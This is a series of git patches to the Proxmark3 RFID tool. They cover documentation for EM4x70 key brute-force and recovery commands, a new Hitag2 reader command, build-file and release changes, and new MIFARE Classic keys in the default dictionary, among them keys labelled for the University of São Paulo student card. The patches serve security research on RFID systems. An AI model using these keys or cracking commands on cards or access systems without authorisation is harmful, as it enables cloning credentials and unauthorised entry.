1cf347b1d..90890ad22 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -9016,11 +9016,29 @@ ], "usage": "lf em 4x70 autorecover [-h] [--par] --rnd --frn --grn " }, + "lf em 4x70 calc": { + "command": "lf em 4x70 calc", + "description": "Calculates both the reader and tag challenge for a user-provided key and rnd.", + "notes": [ + "lf em 4x70 calc --key F32AA98CF5BE4ADFA6D3480B --rnd 45F54ADA252AAC (pm3 test key)", + "lf em 4x70 calc --key A090A0A02080000000000000 --rnd 3FFE1FB6CC513F (research paper key)", + "lf em 4x70 calc --key 022A028C02BE000102030405 --rnd 7D5167003571F8 (autorecovery test key)" + ], + "offline": true, + "options": [ + "-h, --help This help", + "--key Key 96-bit as 12 hex bytes", + "--rnd 56-bit random value sent to tag for authentication" + ], + "usage": "lf em 4x70 calc [-h] --key --rnd " + }, "lf em 4x70 help": { "command": "lf em 4x70 help", - "description": "help This help recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'", + "description": "help This help calc Calculate EM4x70 challenge and response recover Recover remaining key from partial key --------------------------------------------------------------------------------------- lf em 4x70 brute available offline: no Optimized partial key-update attack of 16-bit key block 7, 8 or 9 of an EM4x70 This attack does NOT write anything to the tag. Before starting this attack, 0000 must be written to the 16-bit key block: 'lf em 4x70 write -b 9 -d 0000'. After success, the 16-bit key block have to be restored with the key found: 'lf em 4x70 write -b 9 -d c0de'", "notes": [ - "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80" + "lf em 4x70 brute -b 9 --rnd 45F54ADA252AAC --frn 4866BB70 -> bruteforcing key bits k95...k80 (pm3 test key)", + "lf em 4x70 brute -b 8 --rnd 3FFE1FB6CC513F --frn F355F1A0 -> bruteforcing key bits k79...k64 (research paper key)", + "lf em 4x70 brute -b 7 --rnd 7D5167003571F8 --frn 982DBCC0 -> bruteforcing key bits k63...k48 (autorecovery test key)" ], "offline": true, "options": [ @@ -9052,7 +9070,8 @@ "description": "After obtaining key bits 95..48 (such as via 'lf em 4x70 brute'), this command will recover key bits 47..00. By default, this process does NOT require a tag to be present. By default, the potential keys are shown (typically 1-6) along with a corresponding 'lf em 4x70 auth' command that will authenticate, if that potential key is correct. The user can copy/paste these commands when the tag is present to manually check which of the potential keys is correct.", "notes": [ "lf em 4x70 recover --key F32AA98CF5BE --rnd 45F54ADA252AAC --frn 4866BB70 --grn 9BD180 (pm3 test key)", - "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)" + "lf em 4x70 recover --key A090A0A02080 --rnd 3FFE1FB6CC513F --frn F355F1A0 --grn 609D60 (research paper key)", + "lf em 4x70 recover --key 022A028C02BE --rnd 7D5167003571F8 --frn 982DBCC0 --grn 36C0E0 (autorecovery test key)" ], "offline": true, "options": [ @@ -9518,7 +9537,7 @@ "-h, --help This help", "--nrar specify nonce / answer as 8 hex bytes" ], - "usage": "lf hitag lookup [-h] [--nrar ]" + "usage": "lf hitag crack2 [-h] [--nrar ]" }, "lf hitag dump": { "command": "lf hitag dump", @@ -9653,6 +9672,20 @@ ], "usage": "lf hitag read [-hs2] [--pwd] [--nrar ] [--crypto] [-k ]" }, + "lf hitag reader": { + "command": "lf hitag reader", + "description": "Act as a Hitag2 reader. Look for Hitag2 tags until Enter or the pm3 button is pressed", + "notes": [ + "lf hitag reader", + "lf hitag reader -@ -> Continuous mode" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-@ continuous reader mode" + ], + "usage": "lf hitag reader [-h@]" + }, "lf hitag sim": { "command": "lf hitag sim", "description": "Simulate Hitag transponder You need to `lf hitag eload` first", @@ -12699,8 +12732,8 @@ } }, "metadata": { - "commands_extracted": 735, + "commands_extracted": 737, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-05-14T08:02:41" + "extracted_on": "2024-05-27T13:38:05" } } diff --git a/doc/commands.md b/doc/commands.md index e010a8a17..dd7f275a4 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -979,6 +979,7 @@ Check column "offline" for their availability. |`lf em 4x70 auth `|N |`Authenticate EM4x70` |`lf em 4x70 setpin `|N |`Write PIN` |`lf em 4x70 setkey `|N |`Write key` +|`lf em 4x70 calc `|Y |`Calculate EM4x70 challenge and response` |`lf em 4x70 recover `|Y |`Recover remaining key from partial key` |`lf em 4x70 autorecover `|N |`Recover entire key from writable tag` @@ -1046,6 +1047,7 @@ Check column "offline" for their availability. |`lf hitag help `|Y |`This help` |`lf hitag list `|Y |`List Hitag trace history` |`lf hitag info `|N |`Hitag 2 tag information` +|`lf hitag reader `|N |`Act line an Hitag 2 reader` |`lf hitag test `|Y |`Perform self tests` |`lf hitag dump `|N |`Dump Hitag 2 tag` |`lf hitag read `|N |`Read Hitag memory` From 897643f4cc75e9a3d38819f6b9aa2a48ccdbbfa9 Mon Sep 17 00:00:00 2001 From: ikarus Date: Mon, 27 May 2024 21:19:13 +0200 Subject: [PATCH 082/157] add keys from MCT project --- client/dictionaries/mfc_default_keys.dic | 25 ++++++++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index c8b1d4372..10072a3b1 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -1114,6 +1114,14 @@ EA0FD73CB149 FC0001877BF7 FD8705E721B0 00ADA2CD516D +518108E061E2 +558AAD64EB5B +001122334455 +6CA761AB6CA7 +B1C4A8F7F6E3 +FF75AFDA5A3C +FCDDF7767C10 +A6B3F6C8F1D4 # # 237A4D0D9119 @@ -2424,3 +2432,20 @@ EC2B9FD483CA # InsideWash Membership Card - Portugal C18063858BB9 + +# Universidade de São Paulo (USP) student card +17B50E38F1B0 +24E311F594CE +3794FBFB1A54 +43B229069F6A +4531952F765F +4943F2F35E0A +4985E681EF88 +4F56C88E0337 +710070E92C79 +8A036C5C35D4 +A027BD830A06 +D33673C19243 +D89A506542F2 +E5813CD228F1 +FAB943906E9C From 98acac3fc2cbe2cc5cae6fa3d64d959b82dacda7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 09:52:27 +0200 Subject: [PATCH 083/157] fix unused warning --- .../hitag2crack/crack5opencl/ht2crack5opencl.c | 17 ++++++++++++----- 1 file changed, 12 insertions(+), 5 deletions(-) diff --git a/tools/hitag2crack/crack5opencl/ht2crack5opencl.c b/tools/hitag2crack/crack5opencl/ht2crack5opencl.c index 21829adf5..dae4e20f0 100644 --- a/tools/hitag2crack/crack5opencl/ht2crack5opencl.c +++ b/tools/hitag2crack/crack5opencl/ht2crack5opencl.c @@ -705,21 +705,28 @@ int main(int argc, char **argv) { // show buidlog in case of error // todo: only for device models unsigned int build_errors = 0; - unsigned int build_logs = 0; + // unsigned int build_logs = 0; cl_command_queue_properties queue_properties = 0; - if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE; + if (opencl_profiling) { + queue_properties = CL_QUEUE_PROFILING_ENABLE; + } // setup, phase 1 z = 0; // dolphin for (w = 0; w < ocl_platform_cnt; w++) { - if (!cd_ctx[w].selected) continue; + if (!cd_ctx[w].selected) { + continue; + } for (q = 0; q < cd_ctx[w].device_cnt; q++) { - if (!cd_ctx[w].device[q].selected) continue; + + if (!cd_ctx[w].device[q].selected) { + continue; + } ctx.device_ids[z] = cd_ctx[w].device[q].device_id; @@ -860,7 +867,7 @@ int main(int argc, char **argv) { free(buffer); - build_logs++; + // build_logs++; #if DEBUGME == 0 continue; // todo: evaluate this, one or more can be broken, so continue #endif From 6bdfe11c1a4fca832f112e3f54734d9ee824852d Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:00:11 +0200 Subject: [PATCH 084/157] minor fixes --- armsrc/lfsampling.c | 30 ++++++++++++++++++++++-------- client/src/cmddata.c | 2 +- 2 files changed, 23 insertions(+), 9 deletions(-) diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 88787b4e1..b8eaf2b44 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) { } void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) { + if (sample_size == NULL) { - Dbprintf("initSampleBufferEx, param NULL"); return; } + BigBuf_free_keep_EM(); // We can't erase the buffer now, it would drastically delay the acquisition @@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) { void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) { - if (!data.buffer) return; + if (!data.buffer) { + return; + } // keep track of total gather samples regardless how many was discarded. - if (samples.counter-- == 0) return; + if (samples.counter-- == 0) { + return; + } - if (bits_per_sample == 0) bits_per_sample = 1; - if (bits_per_sample > 8) bits_per_sample = 8; - if (decimation == 0) decimation = 1; + if (bits_per_sample == 0) { + bits_per_sample = 1; + } + + if (bits_per_sample > 8) { + bits_per_sample = 8; + } + + if (decimation == 0) { + decimation = 1; + } if (avg) { samples.sum += sample; @@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool if (decimation > 1) { samples.dec_counter++; - if (samples.dec_counter < decimation) return; + if (samples.dec_counter < decimation) { + return; + } samples.dec_counter = 0; } @@ -542,7 +557,6 @@ out: LED_D_OFF(); // DoAcquisition() end - StopTicks(); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return return_value; diff --git a/client/src/cmddata.c b/client/src/cmddata.c index 1ce0aadef..2a5b2474a 100644 --- a/client/src/cmddata.c +++ b/client/src/cmddata.c @@ -2769,7 +2769,7 @@ static int CmdAsn1Decoder(const char *Cmd) { void *argtable[] = { arg_param_begin, arg_str0("d", NULL, "", "ASN1 encoded byte array"), - arg_lit0("t", "test", "perform self test"), + arg_lit0(NULL, "test", "perform self tests"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); From adfbcbc193c61e26ad9d9ffff786a61b0582c3b2 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:14:02 +0200 Subject: [PATCH 085/157] miscchecks white space --- client/src/cmdlfhitag.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/client/src/cmdlfhitag.c b/client/src/cmdlfhitag.c index 1705bf50f..f073f5398 100644 --- a/client/src/cmdlfhitag.c +++ b/client/src/cmdlfhitag.c @@ -2315,11 +2315,11 @@ static int CmdLFHitag2Crack2(const char *Cmd) { http://www.mikrocontroller.net/attachment/102194/hitag2.c Written by "I.C. Wiener 2006-2007" - "MIKRON" = O N M I K R - Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key - Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear - Random = 65 6E 45 72 - Random IV, transmitted in clear - ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". The inverse of the first 4 bytes is sent to the tag to authenticate. From 54644c61138ba97dcf01d799e12f6c4fcd429d38 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:27:23 +0200 Subject: [PATCH 086/157] update cmakefile with changes from client cmake --- client/experimental_lib/CMakeLists.txt | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 0342fcf08..629ce63ab 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -46,6 +46,7 @@ endif() find_package(PkgConfig) if (NOT SKIPQT EQUAL 1) + if(APPLE AND EXISTS /usr/local/opt/qt5) # Homebrew installs Qt5 (up to at least 5.11.0) in # /usr/local/opt/qt5. Ensure that it can be found by CMake @@ -56,16 +57,17 @@ if (NOT SKIPQT EQUAL 1) # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /usr/local/opt/qt5) endif(APPLE AND EXISTS /usr/local/opt/qt5) - if(APPLE AND EXISTS /opt/homebrew/opt/qt5) + + if(APPLE AND EXISTS /opt/homebrew/opt/qt@5) # Homebrew on Apple Silicon installs Qt5 in - # /opt/homebrew/opt/qt5. Ensure that it can be found by CMake + # /opt/homebrew/opt/qt@5. Ensure that it can be found by CMake # since it is not in the default /usr/local prefix. # Add it to PATHS so that it doesn't override the # CMAKE_PREFIX_PATH environment variable. # QT_FIND_PACKAGE_OPTIONS should be passed to find_package, # e.g. find_package(Qt5Core ${QT_FIND_PACKAGE_OPTIONS}) - list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt5) - endif(APPLE AND EXISTS /opt/homebrew/opt/qt5) + list(APPEND QT_FIND_PACKAGE_OPTIONS PATHS /opt/homebrew/opt/qt@5) + endif(APPLE AND EXISTS /opt/homebrew/opt/qt@5) set(QT_PACKAGELIST Qt5Core Qt5Widgets @@ -262,6 +264,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/common/cardhelper.c ${PM3_ROOT}/common/generator.c ${PM3_ROOT}/common/bruteforce.c + ${PM3_ROOT}/common/hitag2/hitag2_crypto.c ${PM3_ROOT}/client/src/crypto/asn1dump.c ${PM3_ROOT}/client/src/crypto/asn1utils.c ${PM3_ROOT}/client/src/crypto/libpcrypto.c @@ -357,6 +360,7 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhfthinfilm.c ${PM3_ROOT}/client/src/cmdhftopaz.c ${PM3_ROOT}/client/src/cmdhfvas.c + ${PM3_ROOT}/client/src/cmdhfving.c ${PM3_ROOT}/client/src/cmdhfxerox.c ${PM3_ROOT}/client/src/cmdhw.c ${PM3_ROOT}/client/src/cmdlf.c @@ -455,7 +459,6 @@ if (APPLE) message(STATUS "AppKit.framework found! ${APPKIT_LIBRARY}") set(ADDITIONAL_LNK "-framework Foundation" "-framework AppKit") endif() - endif (APPLE) if ((NOT SKIPQT EQUAL 1) AND (Qt5_FOUND)) @@ -675,6 +678,8 @@ if (NOT SKIPPYTHON EQUAL 1) endif (NOT SKIPPYTHON EQUAL 1) message(STATUS "===================================================================") +add_definitions(-DHAVE_SNPRINTF) + add_library(pm3rrg_rdv4 SHARED ${PM3_ROOT}/client/src/proxmark3.c ${TARGET_SOURCES} @@ -733,6 +738,9 @@ target_include_directories(pm3rrg_rdv4 PRIVATE if (NOT APPLE) # required for Raspberry Pi, but breaks with clang (OSX). Need to be at the end of the linker line. set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,--as-needed -latomic -Wl,--no-as-needed) +else (NOT APPLE) + #set_property(TARGET proxmark3 PROPERTY LINK_FLAGS "-Wl,-undefined dynamic_lookup") + set(ADDITIONAL_LNK ${ADDITIONAL_LNK} -Wl,-undefined,dynamic_lookup) endif (NOT APPLE) if (NOT JANSSON_FOUND) @@ -760,6 +768,7 @@ target_link_libraries(pm3rrg_rdv4 PRIVATE pm3rrg_rdv4_reveng pm3rrg_rdv4_hardnested pm3rrg_rdv4_id48 + pm3rrg_rdv4_xml ${ADDITIONAL_LNK}) if (NOT SKIPPTHREAD EQUAL 1) From d6356bd3f446619ec7fe30e3ea5f6fdd2e08b9da Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:30:40 +0200 Subject: [PATCH 087/157] wrong file --- client/experimental_lib/CMakeLists.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index 629ce63ab..f1e6d6e76 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -360,7 +360,6 @@ set (TARGET_SOURCES ${PM3_ROOT}/client/src/cmdhfthinfilm.c ${PM3_ROOT}/client/src/cmdhftopaz.c ${PM3_ROOT}/client/src/cmdhfvas.c - ${PM3_ROOT}/client/src/cmdhfving.c ${PM3_ROOT}/client/src/cmdhfxerox.c ${PM3_ROOT}/client/src/cmdhw.c ${PM3_ROOT}/client/src/cmdlf.c From 4a4e7bc27f2703f8e276933af024f5b5f4b4c889 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:32:50 +0200 Subject: [PATCH 088/157] wrong lib --- client/experimental_lib/CMakeLists.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/client/experimental_lib/CMakeLists.txt b/client/experimental_lib/CMakeLists.txt index f1e6d6e76..2b665414a 100644 --- a/client/experimental_lib/CMakeLists.txt +++ b/client/experimental_lib/CMakeLists.txt @@ -767,7 +767,6 @@ target_link_libraries(pm3rrg_rdv4 PRIVATE pm3rrg_rdv4_reveng pm3rrg_rdv4_hardnested pm3rrg_rdv4_id48 - pm3rrg_rdv4_xml ${ADDITIONAL_LNK}) if (NOT SKIPPTHREAD EQUAL 1) From efcfd3e1265710e108922071660ea00cbfde9381 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:36:23 +0200 Subject: [PATCH 089/157] text --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 1b1aa773a..321b73266 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + +## [Aurora][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) - Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001) - Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001) From aceed281e83ed595b4fafa59fdea68ef477c4549 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 28 May 2024 10:36:31 +0200 Subject: [PATCH 090/157] Release v4.18589 - Aurora --- Makefile.defs | 4 ++-- armsrc/Makefile | 2 +- bootrom/Makefile | 2 +- client/CMakeLists.txt | 4 ++-- client/Makefile | 4 ++-- client/deps/amiibo.cmake | 2 +- client/deps/cliparser.cmake | 2 +- client/deps/hardnested.cmake | 18 ++++++++-------- client/deps/id48lib.cmake | 2 +- client/deps/jansson.cmake | 2 +- client/deps/lua.cmake | 2 +- client/deps/mbedtls.cmake | 2 +- client/deps/reveng.cmake | 2 +- client/deps/tinycbor.cmake | 2 +- client/deps/whereami.cmake | 2 +- client/experimental_lib/CMakeLists.txt | 2 +- client/src/proxmark3.c | 2 +- common/default_version_pm3.c | 29 +++++++------------------- common_arm/Makefile.common | 2 +- 19 files changed, 36 insertions(+), 51 deletions(-) diff --git a/Makefile.defs b/Makefile.defs index 1ef2aa09d..aadb1a98b 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -112,8 +112,8 @@ ifeq ($(DEBUG),1) DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe DEFLDFLAGS = else - DEFCXXFLAGS = -Wall -Werror -O3 -pipe - DEFCFLAGS = -Wall -Werror -O3 -fstrict-aliasing -pipe + DEFCXXFLAGS = -Wall -O3 -pipe + DEFCFLAGS = -Wall -O3 -fstrict-aliasing -pipe DEFLDFLAGS = endif diff --git a/armsrc/Makefile b/armsrc/Makefile index 2f27534ef..b9b101396 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -185,7 +185,7 @@ showinfo: # version_pm3.c should be checked on every time fullimage.stage1.elf should be remade version_pm3.c: default_version_pm3.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) .FORCE $(info [-] CHECK $@) - $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ + $(Q)$(CP) $< $@ fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) $(info [-] GEN $@) diff --git a/bootrom/Makefile b/bootrom/Makefile index b6825530d..86c785cd1 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -56,7 +56,7 @@ OBJS = $(OBJDIR)/bootrom.s19 # version_pm3.c should be checked on every compilation version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ + $(Q)$(CP) $< $@ all: showinfo $(OBJS) diff --git a/client/CMakeLists.txt b/client/CMakeLists.txt index 4169b8b57..c17cf32b6 100644 --- a/client/CMakeLists.txt +++ b/client/CMakeLists.txt @@ -426,7 +426,7 @@ set (TARGET_SOURCES add_custom_command( OUTPUT ${CMAKE_BINARY_DIR}/version_pm3.c - COMMAND sh ${PM3_ROOT}/tools/mkversion.sh ${CMAKE_BINARY_DIR}/version_pm3.c || ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c + COMMAND ${CMAKE_COMMAND} -E copy ${PM3_ROOT}/common/default_version_pm3.c ${CMAKE_BINARY_DIR}/version_pm3.c DEPENDS ${PM3_ROOT}/common/default_version_pm3.c ) @@ -684,7 +684,7 @@ add_executable(proxmark3 ${ADDITIONAL_SRC} ) -target_compile_options(proxmark3 PUBLIC -Wall -Werror -O3) +target_compile_options(proxmark3 PUBLIC -Wall -O3) if (EMBED_READLINE) if (NOT SKIPREADLINE EQUAL 1) add_dependencies(proxmark3 ncurses readline) diff --git a/client/Makefile b/client/Makefile index 1b7090f68..f69467f6b 100644 --- a/client/Makefile +++ b/client/Makefile @@ -446,7 +446,7 @@ endif PM3CFLAGS += -DHAVE_SNPRINTF -CXXFLAGS ?= -Wall -Werror +CXXFLAGS ?= -Wall CXXFLAGS += $(MYDEFS) $(MYCXXFLAGS) $(MYINCLUDES) PM3CXXFLAGS = $(CXXFLAGS) @@ -977,7 +977,7 @@ src/pm3_pywrap.c: pm3.i # version_pm3.c should be checked on every compilation src/version_pm3.c: default_version_pm3.c .FORCE $(info [=] CHECK $@) - $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ + $(Q)$(CP) $< $@ # easy printing of MAKE VARIABLES print-%: ; @echo $* = $($*) diff --git a/client/deps/amiibo.cmake b/client/deps/amiibo.cmake index c946c0682..8c524c170 100644 --- a/client/deps/amiibo.cmake +++ b/client/deps/amiibo.cmake @@ -19,7 +19,7 @@ target_link_libraries(pm3rrg_rdv4_amiibo PRIVATE m pm3rrg_rdv4_mbedtls) -target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_amiibo PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_amiibo PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_amiibo PRIVATE amiitool diff --git a/client/deps/cliparser.cmake b/client/deps/cliparser.cmake index fccae33b7..a85cc2374 100644 --- a/client/deps/cliparser.cmake +++ b/client/deps/cliparser.cmake @@ -9,5 +9,5 @@ target_include_directories(pm3rrg_rdv4_cliparser PRIVATE ../../include ../src) target_include_directories(pm3rrg_rdv4_cliparser INTERFACE cliparser) -target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_cliparser PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_cliparser PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/hardnested.cmake b/client/deps/hardnested.cmake index ec545e2a8..468ee4ef2 100644 --- a/client/deps/hardnested.cmake +++ b/client/deps/hardnested.cmake @@ -2,7 +2,7 @@ add_library(pm3rrg_rdv4_hardnested_nosimd OBJECT hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) -target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_hardnested_nosimd PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_hardnested_nosimd PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_nosimd PRIVATE @@ -32,7 +32,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_mmx PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_mmx BEFORE PRIVATE -mmmx -mno-sse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_mmx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -47,7 +47,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_sse2 PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_sse2 BEFORE PRIVATE -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_sse2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -62,7 +62,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx BEFORE PRIVATE -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -77,7 +77,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx2 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -92,7 +92,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx512 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mavx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx512 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -116,7 +116,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM64_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_neon PRIVATE @@ -134,7 +134,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM32_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) target_compile_options(pm3rrg_rdv4_hardnested_neon BEFORE PRIVATE -mfpu=neon) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -155,7 +155,7 @@ add_library(pm3rrg_rdv4_hardnested STATIC hardnested/hardnested_bruteforce.c $ ${SIMD_TARGETS}) -target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -Werror -O3) +target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -O3) set_property(TARGET pm3rrg_rdv4_hardnested PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested PRIVATE ../../common diff --git a/client/deps/id48lib.cmake b/client/deps/id48lib.cmake index 47205d494..fa57d7855 100644 --- a/client/deps/id48lib.cmake +++ b/client/deps/id48lib.cmake @@ -3,7 +3,7 @@ add_library(pm3rrg_rdv4_id48 STATIC id48/id48_generator.c id48/id48_recover.c ) -target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) 